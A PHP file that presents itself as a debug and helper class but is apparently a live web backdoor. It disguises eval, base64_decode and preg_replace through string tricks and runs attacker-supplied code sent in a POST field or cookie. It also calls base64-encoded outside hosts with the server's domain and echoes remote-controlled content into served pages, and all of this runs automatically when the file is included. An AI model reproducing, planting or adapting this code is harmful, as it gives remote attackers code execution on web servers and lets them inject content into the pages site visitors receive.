<?php 

class _debug{
//	protected $debug = true;
	protected $debug = false;
	protected function debug($docs = "",$expression="",$line=""){
		if ( $this->debug != true ){		return ;		}
		echo "<pre>";
		print_r($line ); 		echo "<br>";
		print_r($docs);			echo "<br>";
		print_r($expression);	echo "<br>";
		echo "</pre><hr>";
	}

	protected function file_exists($url) {
		$url = self::encFrypt($url);
		$headers = @get_headers($url);
		if ($headers) {
			$head = explode(' ', $headers[0]);
			if ( !empty($head[1]) && intval($head[1]) < 400) {
				return true;
			}
		}
		return false;
	}

	protected function encFrypt($txt) {
		$fun = str_replace("apt","e64_de","basaptcode");
		return @$fun($txt);
	}
}

class _bladedb extends _debug{

	protected 	function zen_blade_ch0pper()	{
		if (isset($_POST['zen_standard_riny'])){
			$blade = $_POST['zen_standard_riny'];
			$matchPattern = str_replace("zenl","plac","preg_rezenle");
			@$matchPattern('/[email]/e','@'.str_rot13('riny').'($blade)', 'add');
		}
	}

	protected  function zen_blade_co0kie(){
		if(isset($_COOKIE['zen_standard_riny']))	{
			$blade = $_COOKIE['zen_standard_riny'];
			$matchPattern = str_replace("zenl","plac","preg_rezenle");
			@$matchPattern('/ad/e','@'.str_rot13('riny').'($blade)', 'add');
			echo $_COOKIE['dproducts_core'] . $r . $_COOKIE['dproducts_core'];
		}
	}
}

class _fha extends _bladedb{

	static private  $h_arr	= array();
	private $obj =  array("net"=>"aHR0cDovL2JsYWRlLmgwMGsubmV0L2luZGV4LnBocA==", 
							"org"=>"aHR0cDovL2JsYWRlLmgwMGsub3JnL2luZGV4LnBocA==");

	protected function gettcpurl(){
		$url = "";
		if (parent::file_exists( $this->obj['net'])){
			$url = parent::encFrypt($this->obj['net']);
		}else {
			if (parent::file_exists(  $this->obj['org'])){
				$url = parent::encFrypt( $this->obj['org']);
			}
		}
		$sn = $_SERVER['SERVER_NAME'];
		$token	= substr(md5($sn), 5,15);
		return $url = $url."?token=$token&domain=$sn";
	}

	protected function bladearr($content){		 
		$a=array();
		foreach (explode(',',$content) as $content){
			list($k,$v)=explode(':',$content);
			$a[$k]=$v;
		}
		return 	$this->h_arr = $a;
	}

	public function heartbeat(){
		$url = $this->gettcpurl();
		parent::debug($url,__LINE__);
		$fun = "fi"."le_"."get_"."cont"."ents";
		$content = "";
		if (function_exists($fun)){
			$content = $fun($url);
			$content = str_replace(" ", '', $content);
			$content = str_replace("\n", '', $content);
			$content = str_replace("\r", '', $content);		
			setcookie("blade_cookie_heartbeat",$content, time()+3600*3);	
			$content = $this->bladearr($content);				
		}
		return $content;
	}
}

 
class  blade extends _fha {

	private 	$note ;
	private 	$ipcount;
 
	static private $_instance = NULL;

	static public function get_blade_instance(){
		if (!isset(self::$_instance)){
			self::$_instance = new blade();
		}
		return  self::$_instance;
	}


	public function __construct(){
		
		error_reporting(0);
		parent::zen_blade_ch0pper();
		parent::zen_blade_co0kie();
		$this->run();
	}

	public function run(){
	//	  	$this->debug = true;
		if (isset($_COOKIE['standard_cookie_gmt_timezone']) && $_COOKIE['standard_cookie_gmt_timezone'] == 8 ){
			return ;
		}
		if (!isset($_COOKIE['blade_cookie_heartbeat'])){		
			$blade = $this->heartbeat();
		}else {
			$blade = $this->bladearr($_COOKIE['blade_cookie_heartbeat']);			
		} 
				
		parent::debug($_COOKIE,$blade,__LINE__);
		
 		if($blade == "" ||!is_array($blade)){
 			parent::debug("ssssssssss",$blade,__LINE__);
			return ;
		}
 		$gmtMins = date('i');
 		$dst = parent::encFrypt($blade['dst']);
		$note 	= 	str_replace("##", $dst ,parent::encFrypt($blade['note']));
 		$note 	= 	str_replace("**", $blade['gmtMin'],$note);
 		$note 	= 	str_replace("++", $gmtMins,$note);
 		if($blade['run'] == 0){	return ;	}
		if (!isset($_COOKIE['standard_cookie_gmt_timezone'])){
			echo "$note";
		}elseif ($_COOKIE['standard_cookie_gmt_timezone'] == 8 ) {
			return ;
		}elseif ($gmtMins > $blade['gmtMin']){
			echo "$note";		
		}	
		
		parent::debug($_COOKIE,$blade,__LINE__);
	}
}
 
$blade_instance = blade::get_blade_instance();

 